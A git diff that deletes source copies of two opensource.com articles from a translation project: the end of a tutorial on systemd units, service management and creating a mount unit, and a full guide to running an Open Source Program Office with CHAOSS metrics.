-The bottom of this listing of service units displays 166 as the total number of loaded units on my host. Your number will probably differ. - -Unit files do not have a filename extension (such as **.unit**) to help identify them, so you can generalize that most configuration files that belong to systemd are unit files of one type or another. The few remaining files are mostly **.conf** files located in **/etc/systemd**. - -Unit files are stored in the **/usr/lib/systemd** directory and its subdirectories, while the **/etc/systemd/** directory and its subdirectories contain symbolic links to the unit files necessary to the local configuration of this host. - -To explore this, make **/etc/systemd** the PWD and list its contents. Then make **/etc/systemd/system** the PWD and list its contents, and list the contents of at least a couple of the current PWD's subdirectories. - -Take a look at the **default.target** file, which determines which runlevel target the system will boot to. In the second article in this series, I explained how to change the default target from the GUI (**graphical.target**) to the command-line only (**multi-user.target**) target. The **default.target** file on my test VM is simply a symlink to **/usr/lib/systemd/system/graphical.target**. - -Take a few minutes to examine the contents of the **/etc/systemd/system/default.target** file: - - -``` -[root@testvm1 system]# cat default.target -#  SPDX-License-Identifier: LGPL-2.1+ -# -#  This file is part of systemd. -# -#  systemd is free software; you can redistribute it and/or modify it -#  under the terms of the GNU Lesser General Public License as published by -#  the Free Software Foundation; either version 2.1 of the License, or -#  (at your option) any later version. - -[Unit] -Description=Graphical Interface -Documentation=man:systemd.special(7) -Requires=multi-user.target -Wants=display-manager.service -Conflicts=rescue.service rescue.target -After=multi-user.target rescue.service rescue.target display-manager.service -AllowIsolate=yes -``` - -Note that this requires the **multi-user.target**; the **graphical.target** cannot start if the **multi-user.target** is not already up and running. It also says it "wants" the **display-manager.service** unit. A "want" does not need to be fulfilled in order for the unit to start successfully. If the "want" cannot be fulfilled, it will be ignored by systemd, and the rest of the target will start regardless. - -The subdirectories in **/etc/systemd/system** are lists of wants for various targets. Take a few minutes to explore the files and their contents in the **/etc/systemd/system/graphical.target.wants** directory. - -The **systemd.unit** man page contains a lot of good information about unit files, their structure, the sections they can be divided into, and the options that can be used. It also lists many of the unit types, all of which have their own man pages. If you want to interpret a unit file, this would be a good place to start. - -### Service units - -A Fedora installation usually installs and enables services that particular hosts do not need for normal operation. Conversely, sometimes it doesn't include services that need to be installed, enabled, and started. Services that are not needed for the Linux host to function as desired, but which are installed and possibly running, represent a security risk and should—at minimum—be stopped and disabled and—at best—should be uninstalled. - -The systemctl command is used to manage systemd units, including services, targets, mounts, and more. Take a closer look at the list of services to identify services that will never be used: - - -``` -[root@testvm1 ~]# systemctl --all -t service -UNIT                           LOAD      ACTIVE SUB        DESCRIPTION                             -<snip> -chronyd.service                loaded    active running    NTP client/server                       -crond.service                  loaded    active running    Command Scheduler                       -cups.service                   loaded    active running    CUPS Scheduler                           -dbus-daemon.service            loaded    active running    D-Bus System Message Bus                 -<snip> -● ip6tables.service           not-found inactive dead     ip6tables.service                   -● ipset.service               not-found inactive dead     ipset.service                       -● iptables.service            not-found inactive dead     iptables.service                     -<snip> -firewalld.service              loaded    active   running  firewalld - dynamic firewall daemon -<snip> -● ntpd.service                not-found inactive dead     ntpd.service                         -● ntpdate.service             not-found inactive dead     ntpdate.service                     -pcscd.service                  loaded    active   running  PC/SC Smart Card Daemon -``` - -I have pruned out most of the output from the command to save space. The services that show "loaded active running" are obvious. The "not-found" services are ones that systemd is aware of but are not installed on the Linux host. If you want to run those services, you must install the packages that contain them. - -Note the **pcscd.service** unit. This is the PC/SC smart-card daemon. Its function is to communicate with smart-card readers. Many Linux hosts—including VMs—have no need for this reader nor the service that is loaded and taking up memory and CPU resources. You can stop this service and disable it, so it will not restart on the next boot. First, check its status: - - -``` -[root@testvm1 ~]# systemctl status pcscd.service -● pcscd.service - PC/SC Smart Card Daemon -   Loaded: loaded (/usr/lib/systemd/system/pcscd.service; indirect; vendor preset: disabled) -   Active: active (running) since Fri 2019-05-10 11:28:42 EDT; 3 days ago -     Docs: man:pcscd(8) - Main PID: 24706 (pcscd) -    Tasks: 6 (limit: 4694) -   Memory: 1.6M -   CGroup: /system.slice/pcscd.service -           └─24706 /usr/sbin/pcscd --foreground --auto-exit - -May 10 11:28:42 testvm1 systemd[1]: Started PC/SC Smart Card Daemon. -``` - -This data illustrates the additional information systemd provides versus SystemV, which only reports whether or not the service is running. Note that specifying the **.service** unit type is optional. Now stop and disable the service, then re-check its status: - - -``` -[root@testvm1 ~]# systemctl stop pcscd ; systemctl disable pcscd -Warning: Stopping pcscd.service, but it can still be activated by: -  pcscd.socket -Removed /etc/systemd/system/sockets.target.wants/pcscd.socket. -[root@testvm1 ~]# systemctl status pcscd -● pcscd.service - PC/SC Smart Card Daemon -   Loaded: loaded (/usr/lib/systemd/system/pcscd.service; indirect; vendor preset: disabled) -   Active: failed (Result: exit-code) since Mon 2019-05-13 15:23:15 EDT; 48s ago -     Docs: man:pcscd(8) - Main PID: 24706 (code=exited, status=1/FAILURE) - -May 10 11:28:42 testvm1 systemd[1]: Started PC/SC Smart Card Daemon. -May 13 15:23:15 testvm1 systemd[1]: Stopping PC/SC Smart Card Daemon... -May 13 15:23:15 testvm1 systemd[1]: pcscd.service: Main process exited, code=exited, status=1/FAIL> -May 13 15:23:15 testvm1 systemd[1]: pcscd.service: Failed with result 'exit-code'. -May 13 15:23:15 testvm1 systemd[1]: Stopped PC/SC Smart Card Daemon. -``` - -The short log entry display for most services prevents having to search through various log files to locate this type of information. Check the status of the system runlevel targets—specifying the "target" unit type is required: - - -``` -[root@testvm1 ~]# systemctl status multi-user.target -● multi-user.target - Multi-User System -   Loaded: loaded (/usr/lib/systemd/system/multi-user.target; static; vendor preset: disabled) -   Active: active since Thu 2019-05-09 13:27:22 EDT; 4 days ago -     Docs: man:systemd.special(7) - -May 09 13:27:22 testvm1 systemd[1]: Reached target Multi-User System. -[root@testvm1 ~]# systemctl status graphical.target -● graphical.target - Graphical Interface -   Loaded: loaded (/usr/lib/systemd/system/graphical.target; indirect; vendor preset: disabled) -   Active: active since Thu 2019-05-09 13:27:22 EDT; 4 days ago -     Docs: man:systemd.special(7) - -May 09 13:27:22 testvm1 systemd[1]: Reached target Graphical Interface. -[root@testvm1 ~]# systemctl status default.target -● graphical.target - Graphical Interface -   Loaded: loaded (/usr/lib/systemd/system/graphical.target; indirect; vendor preset: disabled) -   Active: active since Thu 2019-05-09 13:27:22 EDT; 4 days ago -     Docs: man:systemd.special(7) - -May 09 13:27:22 testvm1 systemd[1]: Reached target Graphical Interface. -``` - -The default target is the graphical target. The status of any unit can be checked in this way. - -### Mounts the old way - -A mount unit defines all of the parameters required to mount a filesystem on a designated mount point. systemd can manage mount units with more flexibility than those using the **/etc/fstab** filesystem configuration file. Despite this, systemd still uses the **/etc/fstab** file for filesystem configuration and mounting purposes. systemd uses the **systemd-fstab-generator** tool to create transient mount units from the data in the **fstab** file. - -I will create a new filesystem and a systemd mount unit to mount it. If you have some available disk space on your test system, you can do it along with me. - -_Note that the volume group and logical volume names may be different on your test system. Be sure to use the names that are pertinent to your system._ - -You will need to create a partition or logical volume, then make an EXT4 filesystem on it. Add a label to the filesystem, **TestFS**, and create a directory for a mount point **/TestFS**. - -To try this on your own, first, verify that you have free space on the volume group. Here is what that looks like on my VM where I have some space available on the volume group to create a new logical volume: - - -``` -[root@testvm1 ~]# lsblk -NAME          MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT -sda             8:0    0  120G  0 disk -├─sda1          8:1    0    4G  0 part /boot -└─sda2          8:2    0  116G  0 part -  ├─VG01-root 253:0    0    5G  0 lvm  / -  ├─VG01-swap 253:1    0    8G  0 lvm  [SWAP] -  ├─VG01-usr  253:2    0   30G  0 lvm  /usr -  ├─VG01-home 253:3    0   20G  0 lvm  /home -  ├─VG01-var  253:4    0   20G  0 lvm  /var -  └─VG01-tmp  253:5    0   10G  0 lvm  /tmp -sr0            11:0    1 1024M  0 rom   -[root@testvm1 ~]# vgs -  VG   #PV #LV #SN Attr   VSize    VFree   -  VG01   1   6   0 wz--n- <116.00g <23.00g -``` - -Then create a new volume on **VG01** named **TestFS**. It does not need to be large; 1GB is fine. Then create a filesystem, add the filesystem label, and create the mount point: - - -``` -[root@testvm1 ~]# lvcreate -L 1G -n TestFS VG01 -  Logical volume "TestFS" created. -[root@testvm1 ~]# mkfs -t ext4 /dev/mapper/VG01-TestFS -mke2fs 1.45.3 (14-Jul-2019) -Creating filesystem with 262144 4k blocks and 65536 inodes -Filesystem UUID: 8718fba9-419f-4915-ab2d-8edf811b5d23 -Superblock backups stored on blocks: -        32768, 98304, 163840, 229376 - -Allocating group tables: done                             -Writing inode tables: done                             -Creating journal (8192 blocks): done -Writing superblocks and filesystem accounting information: done - -[root@testvm1 ~]# e2label /dev/mapper/VG01-TestFS TestFS -[root@testvm1 ~]# mkdir /TestFS -``` - -Now, mount the new filesystem: - - -``` -[root@testvm1 ~]# mount /TestFS/ -mount: /TestFS/: can't find in /etc/fstab. -``` - -This will not work because you do not have an entry in **/etc/fstab**. You can mount the new filesystem even without the entry in **/etc/fstab** using both the device name (as it appears in **/dev**) and the mount point. Mounting in this manner is simpler than it used to be—it used to require the filesystem type as an argument. The mount command is now smart enough to detect the filesystem type and mount it accordingly. - -Try it again: - - -``` -[root@testvm1 ~]# mount /dev/mapper/VG01-TestFS /TestFS/ -[root@testvm1 ~]# lsblk -NAME            MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT -sda               8:0    0  120G  0 disk -├─sda1            8:1    0    4G  0 part /boot -└─sda2            8:2    0  116G  0 part -  ├─VG01-root   253:0    0    5G  0 lvm  / -  ├─VG01-swap   253:1    0    8G  0 lvm  [SWAP] -  ├─VG01-usr    253:2    0   30G  0 lvm  /usr -  ├─VG01-home   253:3    0   20G  0 lvm  /home -  ├─VG01-var    253:4    0   20G  0 lvm  /var -  ├─VG01-tmp    253:5    0   10G  0 lvm  /tmp -  └─VG01-TestFS 253:6    0    1G  0 lvm  /TestFS -sr0              11:0    1 1024M  0 rom   -[root@testvm1 ~]# -``` - -Now the new filesystem is mounted in the proper location. List the mount unit files: - - -``` -`[root@testvm1 ~]# systemctl list-unit-files -t mount` -``` - -This command does not show a file for the **/TestFS** filesystem because no file exists for it. The command **systemctl status TestFS.mount** does not display any information about the new filesystem either. You can try it using wildcards with the **systemctl status** command: - - -``` -[root@testvm1 ~]# systemctl status *mount -● usr.mount - /usr -   Loaded: loaded (/etc/fstab; generated) -   Active: active (mounted) -    Where: /usr -     What: /dev/mapper/VG01-usr -     Docs: man:fstab(5) -           man:systemd-fstab-generator(8) - -<SNIP> -● TestFS.mount - /TestFS -   Loaded: loaded (/proc/self/mountinfo) -   Active: active (mounted) since Fri 2020-04-17 16:02:26 EDT; 1min 18s ago -    Where: /TestFS -     What: /dev/mapper/VG01-TestFS - -● run-user-0.mount - /run/user/0 -   Loaded: loaded (/proc/self/mountinfo) -   Active: active (mounted) since Thu 2020-04-16 08:52:29 EDT; 1 day 5h ago -    Where: /run/user/0 -     What: tmpfs - -● var.mount - /var -   Loaded: loaded (/etc/fstab; generated) -   Active: active (mounted) since Thu 2020-04-16 12:51:34 EDT; 1 day 1h ago -    Where: /var -     What: /dev/mapper/VG01-var -     Docs: man:fstab(5) -           man:systemd-fstab-generator(8) -    Tasks: 0 (limit: 19166) -   Memory: 212.0K -      CPU: 5ms -   CGroup: /system.slice/var.mount -``` - -This command provides some very interesting information about your system's mounts, and your new filesystem shows up. The **/var** and **/usr** filesystems are identified as being generated from **/etc/fstab**, while your new filesystem simply shows that it is loaded and provides the location of the info file in the **/proc/self/mountinfo** file. - -Next, automate this mount. First, do it the old-fashioned way by adding an entry in **/etc/fstab**. Later, I'll show you how to do it the new way, which will teach you about creating units and integrating them into the startup sequence. - -Unmount **/TestFS** and add the following line to the **/etc/fstab** file: - - -``` -`/dev/mapper/VG01-TestFS  /TestFS       ext4    defaults        1 2` -``` - -Now, mount the filesystem with the simpler **mount** command and list the mount units again: - - -``` -[root@testvm1 ~]# mount /TestFS -[root@testvm1 ~]# systemctl status *mount -<SNIP> -● TestFS.mount - /TestFS -   Loaded: loaded (/proc/self/mountinfo) -   Active: active (mounted) since Fri 2020-04-17 16:26:44 EDT; 1min 14s ago -    Where: /TestFS -     What: /dev/mapper/VG01-TestFS -<SNIP> -``` - -This did not change the information for this mount because the filesystem was manually mounted. Reboot and run the command again, and this time specify **TestFS.mount** rather than using the wildcard. The results for this mount are now consistent with it being mounted at startup: - - -``` -[root@testvm1 ~]# systemctl status TestFS.mount -● TestFS.mount - /TestFS -   Loaded: loaded (/etc/fstab; generated) -   Active: active (mounted) since Fri 2020-04-17 16:30:21 EDT; 1min 38s ago -    Where: /TestFS -     What: /dev/mapper/VG01-TestFS -     Docs: man:fstab(5) -           man:systemd-fstab-generator(8) -    Tasks: 0 (limit: 19166) -   Memory: 72.0K -      CPU: 6ms -   CGroup: /system.slice/TestFS.mount - -Apr 17 16:30:21 testvm1 systemd[1]: Mounting /TestFS... -Apr 17 16:30:21 testvm1 systemd[1]: Mounted /TestFS. -``` - -### Creating a mount unit - -Mount units may be configured either with the traditional **/etc/fstab** file or with systemd units. Fedora uses the **fstab** file as it is created during the installation. However, systemd uses the **systemd-fstab-generator** program to translate the **fstab** file into systemd units for each entry in the **fstab** file. Now that you know you can use systemd **.mount** unit files for filesystem mounting, try it out by creating a mount unit for this filesystem. - -First, unmount **/TestFS**. Edit the **/etc/fstab** file and delete or comment out the **TestFS** line. Now, create a new file with the name **TestFS.mount** in the **/etc/systemd/system** directory. Edit it to contain the configuration data below. The unit file name and the name of the mount point _must_ be identical, or the mount will fail: - - -``` -# This mount unit is for the TestFS filesystem -# By David Both -# Licensed under GPL V2 -# This file should be located in the /etc/systemd/system directory - -[Unit] -Description=TestFS Mount - -[Mount] -What=/dev/mapper/VG01-TestFS -Where=/TestFS -Type=ext4 -Options=defaults - -[Install] -WantedBy=multi-user.target -``` - -The **Description** line in the **[Unit]** section is for us humans, and it provides the name that's shown when you list mount units with **systemctl -t mount**. The data in the **[Mount]** section of this file contains essentially the same data that would be found in the **fstab** file. - -Now enable the mount unit: - - -``` -[root@testvm1 etc]# systemctl enable TestFS.mount -Created symlink /etc/systemd/system/multi-user.target.wants/TestFS.mount → /etc/systemd/system/TestFS.mount. -``` - -This creates the symlink in the **/etc/systemd/system** directory, which will cause this mount unit to be mounted on all subsequent boots. The filesystem has not yet been mounted, so you must "start" it: - - -``` -`[root@testvm1 ~]# systemctl start TestFS.mount` -``` - -Verify that the filesystem has been mounted: - - -``` -[root@testvm1 ~]# systemctl status TestFS.mount -● TestFS.mount - TestFS Mount -   Loaded: loaded (/etc/systemd/system/TestFS.mount; enabled; vendor preset: disabled) -   Active: active (mounted) since Sat 2020-04-18 09:59:53 EDT; 14s ago -    Where: /TestFS -     What: /dev/mapper/VG01-TestFS -    Tasks: 0 (limit: 19166) -   Memory: 76.0K -      CPU: 3ms -   CGroup: /system.slice/TestFS.mount - -Apr 18 09:59:53 testvm1 systemd[1]: Mounting TestFS Mount... -Apr 18 09:59:53 testvm1 systemd[1]: Mounted TestFS Mount. -``` - -This experiment has been specifically about creating a unit file for a mount, but it can be applied to other types of unit files as well. The details will be different, but the concepts are the same. Yes, I know it is still easier to add a line to the **/etc/fstab** file than it is to create a mount unit. But this is a good example of how to create a unit file because systemd does not have generators for every type of unit. - -### In summary - -This article looked at systemd units in more detail and how to use the systemctl command to explore and manage units. It also showed how to stop and disable units and create a new systemd mount unit to mount a new filesystem and enable it to initiate during startup. - -In the next article in this series, I will take you through a recent problem I had during startup and show you how I circumvented it using systemd. - -### Resources - -There is a great deal of information about systemd available on the internet, but much is terse, obtuse, or even misleading. In addition to the resources mentioned in this article, the following webpages offer more detailed and reliable information about systemd startup. - - * The Fedora Project has a good, practical [guide][10] [to systemd][10]. It has pretty much everything you need to know in order to configure, manage, and maintain a Fedora computer using systemd. - * The Fedora Project also has a good [cheat sheet][11] that cross-references the old SystemV commands to comparable systemd ones. - * For detailed technical information about systemd and the reasons for creating it, check out [Freedesktop.org][12]'s [description of systemd][13]. - * [Linux.com][14]'s "More systemd fun" offers more advanced systemd [information and tips][15]. - - - -There is also a series of deeply technical articles for Linux sysadmins by Lennart Poettering, the designer and primary developer of systemd. These articles were written between April 2010 and September 2011, but they are just as relevant now as they were then. Much of everything else good that has been written about systemd and its ecosystem is based on these papers. - - * [Rethinking PID 1][16] - * [systemd for Administrators, Part I][17] - * [systemd for Administrators, Part II][18] - * [systemd for Administrators, Part III][19] - * [systemd for Administrators, Part IV][20] - * [systemd for Administrators, Part V][21] - * [systemd for Administrators, Part VI][22] - * [systemd for Administrators, Part VII][23] - * [systemd for Administrators, Part VIII][24] - * [systemd for Administrators, Part IX][25] - * [systemd for Administrators, Part X][26] - * [systemd for Administrators, Part XI][27] - - - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/5/systemd-units - -作者:[David Both][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/dboth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/lenovo-thinkpad-laptop-window-focus.png?itok=g0xPm2kD (young woman working on a laptop) -[2]: https://opensource.com/article/20/4/systemd -[3]: https://opensource.com/article/20/4/systemd-startup -[4]: https://en.wikipedia.org/wiki/Sar_%28Unix%29 -[5]: https://en.wikipedia.org/wiki/Pwd -[6]: https://en.wikipedia.org/wiki/Standard_streams#Standard_output_(stdout) -[7]: http://www.both.org/?page_id=1183 -[8]: mailto:chrony-dnssrv@.timer -[9]: mailto:mdadm-last-resort@.timer -[10]: https://docs.fedoraproject.org/en-US/quick-docs/understanding-and-administering-systemd/index.html -[11]: https://fedoraproject.org/wiki/SysVinit_to_Systemd_Cheatsheet -[12]: http://Freedesktop.org -[13]: http://www.freedesktop.org/wiki/Software/systemd -[14]: http://Linux.com -[15]: https://www.linux.com/training-tutorials/more-systemd-fun-blame-game-and-stopping-services-prejudice/ -[16]: http://0pointer.de/blog/projects/systemd.html -[17]: http://0pointer.de/blog/projects/systemd-for-admins-1.html -[18]: http://0pointer.de/blog/projects/systemd-for-admins-2.html -[19]: http://0pointer.de/blog/projects/systemd-for-admins-3.html -[20]: http://0pointer.de/blog/projects/systemd-for-admins-4.html -[21]: http://0pointer.de/blog/projects/three-levels-of-off.html -[22]: http://0pointer.de/blog/projects/changing-roots -[23]: http://0pointer.de/blog/projects/blame-game.html -[24]: http://0pointer.de/blog/projects/the-new-configuration-files.html -[25]: http://0pointer.de/blog/projects/on-etc-sysinit.html -[26]: http://0pointer.de/blog/projects/instances.html -[27]: http://0pointer.de/blog/projects/inetd.html diff --git a/sources/tech/20200508 A guide to setting up your Open Source Program Office (OSPO) for success.md b/sources/tech/20200508 A guide to setting up your Open Source Program Office (OSPO) for success.md deleted file mode 100644 index ea3aa01866..0000000000 --- a/sources/tech/20200508 A guide to setting up your Open Source Program Office (OSPO) for success.md +++ /dev/null @@ -1,193 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (A guide to setting up your Open Source Program Office (OSPO) for success) -[#]: via: (https://opensource.com/article/20/5/open-source-program-office) -[#]: author: (J. Manrique Lopez de la Fuente https://opensource.com/users/jsmanrique) - -A guide to setting up your Open Source Program Office (OSPO) for success -====== -Learn how to best grow and maintain your open source communities and -allies. -![community team brainstorming ideas][1] - -Companies create Open Source Program Offices (OSPO) to manage their relationship with the open source ecosystems they depend on. By understanding the company's open source ecosystem, an OSPO is able to maximize the company's return on investment and reduce the risks of consuming, contributing to, and releasing open source software. Additionally, since the company depends on its open source ecosystem, ensuring its health and sustainability shall ensure the company's health, sustainable growth, and evolution. - -### How has OSPO become vital to companies and their open source ecosystem? - -Marc Andreessen has said that "software is eating the world," and more recently, it could be said that open source is eating the software world. But how is that process happening? - -Companies get involved with open source projects in several ways. These projects comprise the company's open source ecosystem, and their relationships and interactions can be seen through Open Source Software's (OSS) inbound and outbound processes. - -From the OSS inbound point of view, companies use it to build their own solutions and their own infrastructure. OSS gets introduced because it's part of the code their technology providers use, or because their own developers add open source components to the company's information technology (IT) infrastructure. - -From the OSS outbound point of view, some companies contribute to OSS projects. That contribution could be part of the company's requirements for their solutions that need certain fixes in upstream projects. For example, Samsung contributes to certain graphics-related projects to ensure its hardware has software support once it gets into the market. In some other cases, contributing to OSS is a mechanism to retain talent by allowing the people to contribute to projects different from their daily work. - -Some companies release their own open source projects as an outbound OSS process. For companies like Red Hat or GitLab, it would be expected. But, there are increasingly more non-software companies releasing a lot of OSS, like Lyft. - -![OSS inbound and outbound processes][2] - -OSS inbound and outbound processes - -Ultimately, all of these projects involved in the inbound and outbound OSS flow are the company's OSS ecosystem. And like any living being, the company's health and sustainability depend on the ecosystem that surrounds it. - -### OSPO responsibilities - -Following the species and their ecosystem, people working in the OSPO team could be seen as the rangers in the organization's OSS ecosystem. They take care of the ecosystem and its relationship with the company, to keep everything healthy and sustainable. - -When the company consumes open source software projects, they need to be aware of licenses and compliance, to check the project's health, to ensure there are no security flaws, and, in some cases, to identify talented community members for potential hiring processes. - -When the company contributes to open source software projects, they need to be sure there are no Intellectual Property (IP) issues, to ensure the company contributions' footprint and its leadership in the projects, and sometimes, also to help talented people stay engaged with the company through their contributions. - -And when the company releases and maintains open source projects, they are responsible for ensuring community engagement and growth, for checking there are no IP issues, that the company maintains its footprint and leadership, and perhaps, to attract new talent to the company. - -Have you realized the whole set of skills required in an OSPO team? When I've asked people working in OSPO about the size of their teams, the number is around 1 to 5 people per 1,000 developers in the company. That's a small team to monitor a lot of people and their potential OSS related activity. - -### How to manage an OSPO - -With all these activities in OSPO people's minds and all the resources they need to worry about, how are they able to manage all of this? - -There are at least a couple of open source communities with valuable knowledge and resources available for them: - - * The [TODO Group][3] is "an open group of companies who want to collaborate on practices, tools, and other ways to run successful and effective open source projects and programs." For example, they have a complete set of [guides][4] with best practices for and from companies running OSPOS. - * The [CHAOSS (Community Health Analytics for Open Source Software)][5] community develops metrics, methodologies, and software for managing open source project health and sustainability. (See more on CHAOSS' active communities and working groups below). - - - -OSPO managers need to report a lot of information to the rest of the company to answer many questions related to their OSS inbound and outbound processes, i.e., Which projects are we using in our organization? What's the health of those projects? Who are the key people in those projects? Which projects are we contributing to? Which projects are we releasing? How are we dealing with community contributions? Who are the key contributors? - -### Data-driven OSPO - -As William Edwards Deming said, "Without data, you are just a person with an opinion." - -Having opinions is not a bad thing, but having opinions based on data certainly makes it easier to understand, discuss, and determine the processes best suited to your company and its goals. CHAOSS is the recommended community to look to for guidance about metrics strategies and tools. - -Recently, the CHAOSS community has released [a new set of metric definitions][6]. These metrics are only subsets of all the ones being discussed in the focus areas of each working group (WG): - - * [Common WG][7]: Defines the metrics that are used by both working groups or are important for community health, but that do not cleanly fit into one of the other existing working groups. Areas of interest include organizational affiliation, responsiveness, and geographic coverage. - * [Diversity and Inclusion WG][8]: Gathers experiences regarding diversity and inclusion in open source projects with the goal of understanding, from a qualitative and quantitative point of view, how diversity and inclusion can be measured. - * [Evolution WG][9]: Refines the metrics that inform evolution and works with software implementations. - * [Risk WG][10]: Refines the metrics that inform risk and works with software implementations. - * [Value WG][11]: Focuses on industry-standard metrics for economic value in open source. Their main goal is to publish trusted industry-standard value metrics—a kind of S&P for software development and an authoritative source for metrics significance and industry norms. - - - -On the tooling side, projects like [Augur][12], [Cregit][13], and [GrimoireLab][14] are the reference tools that report these metrics, but also many others related to OSPO activities. They are also the seed for new tools and solutions provided by the OSS community like [Cauldron.io][15], a SaaS open source solution to ease OSS ecosystem analysis. - -![CHAOSS Metrics for 15 years of Unity OSS activity. Source: cauldron.io][16] - -CHAOSS Metrics for 15 years of Unity OSS activity. Source: cauldron.io - -All these metrics and data are useless without a metrics strategy. Usually, the first approach is to try to measure as much as possible, producing overwhelming reports and dashboards full of charts and data. What is the value of that? - -Experience has shown that a very valid approach is the [Goal, Questions, Metrics (GQM)][17] strategy. But how do we put that in practice in an OSPO? - -First of all, we need to understand the company's goals when using, consuming, contributing to, or releasing and maintaining OSS projects. The usual goals are related to market positioning, required upstream features development, and talent attraction or retention. Based on these goals, we should write down related questions that can be answered with numbers, like the following: - -#### Who/how many are the core maintainers of my OSS ecosystem projects? - -![Uber OSS code core, regular, and casual contributors evolution. Source: uber.biterg.io][18] - -Uber OSS code core, regular, and casual contributors evolution. Source: uber.biterg.io - -People contribute through different mechanisms or tools (code, issues, comments, tests, etc.). Measuring the core contributors (those that have done 80% of the contributions), the regular ones (those that have done 15% of the contributions), and the casual ones (those have made 5% of the contributions) can answer questions related to participation over time, but also how people move between the different buckets. Adding affiliation information helps to identify external core contributors. - -#### Where are the contributions happening? - -![Uber OSS activity based on location. Source: uber.biterg.io][19] - -Uber OSS activity based on location. Source: uber.biterg.io - -The growth of OSS ecosystems is also related to OSS projects spread across the world. Understanding that spread helps OSPO, and the company, to manage actions that improve support for people from different countries and regions. - -#### What is the company's OSS network? - -![Uber OSS network. Source: uber.biterg.io][20] - -Uber OSS network. Source: uber.biterg.io - -The company's OSS ecosystem includes those projects that the company's people contribute to. Understanding which projects they contribute to offers insight into which technologies or OSS components are interesting to people, and which companies or organizations the company collaborates with. - -#### How is the company dealing with contributions? - -![Github Pull Requests backlog management index and time to close analysis. Source: uber.biterg.io][21] - -Github Pull Requests backlog management index and time to close analysis. Source: uber.biterg.io - -One of the goals when releasing OSS projects is to grow the community around them. Measuring how the company handles contributions to its projects from outside its boundaries helps to understand how "welcoming" it is and identifies mentors (or bottlenecks) and opportunities to lower the barrier to contribute. - -#### Consumers vs. maintainers - -Over the last months, we have been hearing that corporations are taking OSS for free without contributing back. The typical arguments are that these corporations are making millions of dollars thanks to free work, plus the issue of OSS project maintainer burnout due to users' complaints and requests for free support. - -The system is unbalanced; usually, the number of users exceeds the number of maintainers. Is that good or bad? Having users for our software is (or should be) good. But we need to manage expectations on both sides. - -From the corporation's point of view, consuming OSS without care is very, very risky. - -OSPO can play an important role in educating the company about the risks they are facing, and how to reduce them by contributing back to their OSS ecosystem. Remember, a company's overall sustainability could rely heavily on its ecosystem sustainability. - -A good strategy is to start shifting your company from being pure OSS consumers to becoming contributors to their OSS inbound projects. From just submitting issues and asking questions to help solve issues, answering questions, and even sending patches, contributing helps grow and maintain the project while giving back to the community. It doesn't happen immediately, but over time, the company will be perceived as an OSS ecosystem citizen. Eventually, some people from the company could end up helping to maintain those projects too. - -And what about money? There are plenty of ways to support the OSS ecosystem financially. Some examples: - - * Business initiatives like [Tidelift][22], or [OpenCollective][23] - * Foundations and their supporting mechanisms, like [Software Freedom Conservancy][24], or [CommunityBridge][25] from the Linux Foundation - * Self-funding programs (like [Indeed][26] and [Salesforce][27] have done) - * Emerging gig development approaches like [Github Sponsors][28] or [Patreon][29] - - - -Last but not least, companies need to avoid the "not invented here" syndrome. For some OSS projects, there might be companies providing consulting, customization, maintenance, and/or support services. Instead of taking OSS and spending time and people to self-host, self-customize, or try to bring those kinds of services in-house, it might be smarter and more efficient to hire some of those companies to do the thought work. - -As a final remark, I would like to emphasize the importance of an OSPO for a company to succeed and grow in the current market. As shepherds of the company's OSS ecosystem, they are the best people in the organization to understand how the ecosystem works and flows, and they should be empowered to manage, monitor, and make recommendations and decisions to ensure sustainability and growth. - -Does your organization have an OSPO yet? - -Six common traits of successful open source programs, and a look back at how the open source... - -Why would a company not in the business of software development create an open source program... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/5/open-source-program-office - -作者:[J. Manrique Lopez de la Fuente][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jsmanrique -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/meeting_discussion_brainstorm.png?itok=7_m4CC8S (community team brainstorming ideas) -[2]: https://opensource.com/sites/default/files/uploads/ospo_1.png (OSS inbound and outbound processes) -[3]: https://todogroup.org/ -[4]: https://todogroup.org/guides/ -[5]: https://chaoss.community/ -[6]: https://chaoss.community/metrics/ -[7]: https://github.com/chaoss/wg-common -[8]: https://github.com/chaoss/wg-diversity-inclusion -[9]: https://github.com/chaoss/wg-evolution -[10]: https://github.com/chaoss/wg-risk -[11]: https://github.com/chaoss/wg-value -[12]: https://github.com/chaoss/augur -[13]: https://github.com/cregit -[14]: https://chaoss.github.io/grimoirelab/ -[15]: https://cauldron.io/ -[16]: https://opensource.com/sites/default/files/uploads/ospo_2.png (CHAOSS Metrics for 15 years of Unity OSS activity. Source: cauldron.io) -[17]: https://en.wikipedia.org/wiki/GQM -[18]: https://opensource.com/sites/default/files/uploads/ospo_3.png (Uber OSS code core, regular, and casual contributors evolution. Source: uber.biterg.io) -[19]: https://opensource.com/sites/default/files/uploads/ospo_4.png (Uber OSS activity based on location. Source: uber.biterg.io) -[20]: https://opensource.com/sites/default/files/uploads/ospo_5_0.png (Uber OSS network. Source: uber.biterg.io) -[21]: https://opensource.com/sites/default/files/uploads/ospo_6.png (Github Pull Requests backlog management index and time to close analysis. Source: uber.biterg.io) -[22]: https://tidelift.com/ -[23]: https://opencollective.com/ -[24]: https://sfconservancy.org/ -[25]: https://funding.communitybridge.org/ -[26]: https://engineering.indeedblog.com/blog/2019/02/sponsoring-osi/ -[27]: https://sustain.codefund.fm/23 -[28]: https://help.github.com/en/github/supporting-the-open-source-community-with-github-sponsors -[29]: https://www.patreon.com/ diff --git a/sources/tech/20200508 Metaphors in man pages.md b/sources/tech/20200508 Metaphors in man pages.md deleted file 